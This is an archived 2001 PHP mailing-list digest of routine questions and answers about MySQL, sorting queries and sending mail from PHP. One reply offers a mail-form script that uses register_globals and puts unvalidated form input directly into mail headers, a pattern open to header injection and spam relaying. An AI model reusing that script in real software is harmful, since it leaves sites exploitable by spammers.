On Mon, 23 Jul 2001 21:46, you wrote: > Hi all, > I need store all the userid's connected to my site, in a > database. the database, if the user has closed his browser a php script > will check after intervals of a few minutes, if the user is not logged in, > then changed relating to that user, will be undone. > my quesiotns are , > > 1) how do i get a user's ID. > 2) what sort of check do i put to see if the variable is destroyed or not. > > thanx in advance
attached mail follows:
Dear all,
I have the following problem : I want change te root password for mysql and we receive the following error message ERROR 1064: parse error near 'FLUSH PRIVILEGES' at line 1
I login to my MySQL server and type the following commands shell> mysql -u root mysql mysql> UPDATE user SET Password=PASSWORD('new_password') where user='root'; mysql> FLUSH PRIVILEGES; ERROR 1064: parse error near 'FLUSH PRIVILEGES' at line 1
thanks in advance.
attached mail follows:
Message-ID: <050f01c11360$e2074540$1702910a
wipro.com>
From: "Balaji Ankem" <balaji.ankem
wipro.com>
To: "Manu Verhaegen" <m.verhaegen
compuver.be>
Cc: <php-general
lists.php.net>
Date: Mon, 23 Jul 2001 15:48:56 +0530
MIME-Version: 1.0
Content-Type: multipart/mixed;
boundary="------------InterScan_NT_MIME_Boundary"
Subject: Re: [PHP] MySQL PRIVILEGES problem
--------------InterScan_NT_MIME_Boundary Content-Type: multipart/alternative; boundary="----=_NextPart_000_050C_01C1138E.FB393A40"
------=_NextPart_000_050C_01C1138E.FB393A40 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Hi, u have to change the database first and then try to update.
Plz do the following. shell> mysql -u root mysql mysql>use mysql; mysql> UPDATE user SET Password=PASSWORD('new_password') where user='root'; mysql> FLUSH PRIVILEGES;
Regards
-Balaji
----- Original Message -----
From: Manu Verhaegen
To: php-general
lists.php.net
Sent: Monday, July 23, 2001 3:19 PM
Subject: [PHP] MySQL PRIVILEGES problem
Dear all,
I have the following problem : I want change te root password for mysql and we receive the following error message ERROR 1064: parse error near 'FLUSH PRIVILEGES' at line 1
I login to my MySQL server and type the following commands shell> mysql -u root mysql mysql> UPDATE user SET Password=PASSWORD('new_password') where user='root'; mysql> FLUSH PRIVILEGES; ERROR 1064: parse error near 'FLUSH PRIVILEGES' at line 1
thanks in advance.
------=_NextPart_000_050C_01C1138E.FB393A40 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content="text/html; charset=iso-8859-1" http-equiv=Content-Type>
<META content="MSHTML 5.00.2614.3500" name=GENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=#ffffff>
<DIV><FONT size=2>Hi,</FONT></DIV>
<DIV><FONT size=2> u have to change the database first and then try to
update.</FONT></DIV>
<DIV> </DIV>
<DIV><FONT size=2>Plz do the following.</FONT></DIV>
<DIV><FONT size=2>shell> mysql -u root mysql</FONT></DIV>
<DIV><FONT size=2>mysql>use mysql;</FONT></DIV>
<DIV><FONT size=2>mysql> UPDATE user SET Password=PASSWORD('new_password')
where user='root';<BR>mysql> FLUSH PRIVILEGES;</FONT></DIV>
<DIV><FONT size=2></FONT> </DIV>
<DIV><FONT size=2>Regards</FONT></DIV>
<DIV><FONT size=2>-Balaji<BR></FONT><FONT size=2>
</FONT></DIV>
<BLOCKQUOTE
style="BORDER-LEFT: #000000 2px solid; MARGIN-LEFT: 5px; MARGIN-RIGHT: 0px; PADDING-LEFT: 5px; PADDING-RIGHT: 0px">
<DIV style="FONT: 10pt arial">----- Original Message ----- </DIV>
<DIV
style="BACKGROUND: #e4e4e4; FONT: 10pt arial; font-color: black"><B>From:</B>
<A href="mailto:m.verhaegen
compuver.be" title=m.verhaegen
compuver.be>Manu
Verhaegen</A> </DIV>
<DIV style="FONT: 10pt arial"><B>To:</B> <A
href="mailto:php-general
lists.php.net"
title=php-general
lists.php.net>php-general
lists.php.net</A> </DIV>
<DIV style="FONT: 10pt arial"><B>Sent:</B> Monday, July 23, 2001 3:19 PM</DIV>
<DIV style="FONT: 10pt arial"><B>Subject:</B> [PHP] MySQL PRIVILEGES
problem</DIV>
<DIV><BR></DIV>Dear all,<BR><BR>I have the following problem :<BR>I want
change te root password for mysql and we receive the following error
message<BR> ERROR 1064: parse error near 'FLUSH PRIVILEGES'
at line 1<BR><BR><BR>I login to my MySQL server and type the following
commands<BR> shell> mysql -u root
mysql<BR> mysql> UPDATE user SET
Password=PASSWORD('new_password') where user='root';<BR>
mysql> FLUSH PRIVILEGES;<BR> ERROR 1064: parse error near
'FLUSH PRIVILEGES' at line 1<BR><BR><BR>thanks in
advance.<BR><BR><BR><BR></BLOCKQUOTE></BODY></HTML>
------=_NextPart_000_050C_01C1138E.FB393A40--
--------------InterScan_NT_MIME_Boundary Content-Type: text/plain; name="Wipro_Disclaimer.txt" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="Wipro_Disclaimer.txt"
The Information contained and transmitted by this E-MAIL is proprietary to
Wipro Limited and is intended for use only by the individual or entity to which
it is addressed, and may contain information that is privileged, confidential or
exempt from disclosure under applicable law. If this is a forwarded message,
the content of this E-MAIL may not have been sent with the authority of the
Company. If you are not the intended recipient, an agent of the intended
recipient or a person responsible for delivering the information to the named
recipient, you are notified that any use, distribution, transmission, printing,
copying or dissemination of this information in any way or in any manner is
strictly prohibited. If you have received this communication in error, please
delete this mail & notify us immediately at mailadmin
wipro.com.
--------------InterScan_NT_MIME_Boundary--
attached mail follows:
'order by text asc' will sort in alphabetical order A-Z
.. and your query should be select [campo] from table where campo like 'A%'
... seems like an expensive way of sorting ...
i think mysql has natural order sorting functions in there somewhere ...
Steve
"Marisol díaz e." <mdiaz
tecnopro.net> wrote in message
news:000e01c1113b$5df255f0$6a39a8c0
NTDOMAIN.local...
> select [campo] from [tabla] order by [campo]
>
> if you want for each leter
>
> select [campo] from [tabla] where [campo] like 'A'
>
> Marisol
> ----- Original Message -----
> From: "Erich Kolb" <ekolb
randbreceivables.com>
> To: <php-general
lists.php.net>
> Sent: Friday, July 20, 2001 11:32 AM
> Subject: [PHP] PHP & MySQL
>
>
> > When you query a MySQL Database, how do you set the order
alphabetically?
> >
> > --
> > PHP General Mailing List (http://www.php.net/)
> > To unsubscribe, e-mail: php-general-unsubscribe
lists.php.net
> > For additional commands, e-mail: php-general-help
lists.php.net
> > To contact the list administrators, e-mail: php-list-admin
lists.php.net
> >
>
attached mail follows:
Hi,
I know this subject had been discussed here before. Tried searching in list.php.net, I get a message search not setup (or something).
I want to send html mails thru php using mail(). Could someone tell me where I can study some scripts or tutorials.
TIA
Adrian
attached mail follows:
here's a script i wrote a while back..... copied and pasted.
--------------------- <? if ($submit) { $headers .= "From: $myemail \n"; $headers .= "cc:$cc \n"; $headers .= "bcc:$bcc \n"; // $headers .= "Content-Type: text/html; charset=iso-8859-1\n";
$message = stripslashes($contents); header("Location:http://www.wde.org/me/"); mail($to, $subject, $message, $headers); }
else {
echo "<html>";
$myemail1 = "nothing <nothing
nothing.com>";
echo " <br><form action=\"$php_self\" method=\"post\">
<table cellpadding=15 cellspacing=0 width=100%
bgcolor=#ffffff>
<tr>
<td align=right><strong
class=black>from which account :</strong></td>
<td><select name=\"myemail\">
<option
value=\"$myemail1\">nothing
nothing.com
</select>
</td>
</tr>
<tr> <td align=right><strong class=black>email to :</strong></td> <td><input type=text name=\"to\"></td> </tr> <tr> <td align=right><strong class=black>copy to :</strong></td> <td><input type=text name=\"cc\"></td> </tr> <tr> <td align=right><strong class=black>blind copy to :</strong></td> <td><input type=text name=\"bcc\"></td> </tr> <tr> <td align=right><strong class=black>subject :</strong></td> <td><input type=text name=\"subject\"></td> </tr> <tr> <td valign=top align=right><strong class=black>email message :</strong></td> <td><textarea cols=45 rows=15 name=\"contents\" wrap=physical></textarea></td> </tr> <tr> <td> </td> <td><strong class=black><input type=submit name=submit value=\"send this email\"></strong></td> </tr> </table> </form>"; } ?> ---------------------
that should work as a page in itself.... let me know if you have problems....
/sunny
-----Original Message-----
From: Adrian D'Costa [mailto:adrian
pcsadvt.com]
Sent: 23 July 2001 11:09
To: php general list
Subject: [PHP] mail with html
Hi,
I know this subject had been discussed here before. Tried searching in list.php.net, I get a message search not setup (or something).
I want to send html mails thru php using mail(). Could someone tell me where I can study some scripts or tutorials.
TIA
Adrian
-- PHP General Mailing List (http://www.php.net/) To unsubscribe, e-mail: php-general-unsubscribelists.php.net For additional commands, e-mail: php-general-help
lists.php.net To contact the list administrators, e-mail: php-list-admin
lists.php.net
attached mail follows:
oh yeah, you might want to tidy up the code a bit... the email has put in line breaks.
and replace nothing
nothing.com with your own email...
the mail() command does all the work...
the header command redirects the page.. you might want to change the address
or remove it.
/sunny
-----Original Message-----
From: Sandeep Hundal [mailto:Sunny
mviva.net]
Sent: 23 July 2001 11:06
To: 'Adrian D'Costa'; php general list
Subject: RE: [PHP] mail with html
here's a script i wrote a while back..... copied and pasted.
--------------------- <? if ($submit) { $headers .= "From: $myemail \n"; $headers .= "cc:$cc \n"; $headers .= "bcc:$bcc \n"; // $headers .= "Content-Type: text/html; charset=iso-8859-1\n";
$message = stripslashes($contents); header("Location:http://www.wde.org/me/"); mail($to, $subject, $message, $headers); }
else {
echo "<html>";
$myemail1 = "nothing <nothing
nothing.com>";
echo " <br><form action=\"$php_self\" method=\"post\">
<table cellpadding=15 cellspacing=0 width=100%
bgcolor=#ffffff>
<tr>
<td align=right><strong
class=black>from which account :</strong></td>
<td><select name=\"myemail\">
<option
value=\"$myemail1\">nothing
nothing.com
</select>
</td>
</tr>
<tr> <td align=right><strong class=black>email to :</strong></td> <td><input type=text name=\"to\"></td> </tr> <tr> <td align=right><strong class=black>copy to :</strong></td> <td><input type=text name=\"cc\"></td> </tr> <tr> <td align=right><strong class=black>blind copy to :</strong></td> <td><input type=text name=\"bcc\"></td> </tr> <tr> <td align=right><strong class=black>subject :</strong></td> <td><input type=text name=\"subject\"></td> </tr> <tr> <td valign=top align=right><strong class=black>email message :</strong></td> <td><textarea cols=45 rows=15 name=\"contents\" wrap=physical></textarea></td> </tr> <tr> <td> </td> <td><strong class=black><input type=submit name=submit value=\"send this email\"></strong></td> </tr> </table> </form>"; } ?> ---------------------
that should work as a page in itself.... let me know if you have problems....
/sunny
-----Original Message-----
From: Adrian D'Costa [mailto:adrian
pcsadvt.com]
Sent: 23 July 2001 11:09
To: php general list
Subject: [PHP] mail with html
Hi,
I know this subject had been discussed here before. Tried searching in list.php.net, I get a message search not setup (or something).
I want to send html mails thru php using mail(). Could someone tell me where I can study some scripts or tutorials.
TIA
Adrian
-- PHP General Mailing List (http://www.php.net/) To unsubscribe, e-mail: php-general-unsubscribelists.php.net For additional commands, e-mail: php-general-help
lists.php.net To contact the list administrators, e-mail: php-list-admin
lists.php.net
-- PHP General Mailing List (http://www.php.net/) To unsubscribe, e-mail: php-general-unsubscribe
lists.php.net For additional commands, e-mail: php-general-help
lists.php.net To contact the list administrators, e-mail: php-list-admin
lists.php.net
attached mail follows:
adrian
pcsadvt.com (Adrian D'Costa) wrote:
> Hi, > > I know this subject had been discussed here before. Tried searching in > list.php.net, I get a message search not setup (or something). > > I want to send html mails thru php using mail(). Could someone tell me > where I can study some scripts or tutorials. >
if I were you i would read the manual page for the mail function, there is examples of sending html mails and not.
http://php.net/manual/en/function.mail.php
-- Henrik Hansen
attached mail follows:
Hey does any one know if it is possible to do something like
read stuff thro file and printer sharing on a remote pc, i tried
\\computer\dir for the dirs but that didn't work any suggestions(btw i did addslashes :D )
so ne ideas...please
attached mail follows:
Hi, How can I check, thath some function is declared and to do not declare it second time ( with "require" ) ?
Thanks, Rosen Marinov
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]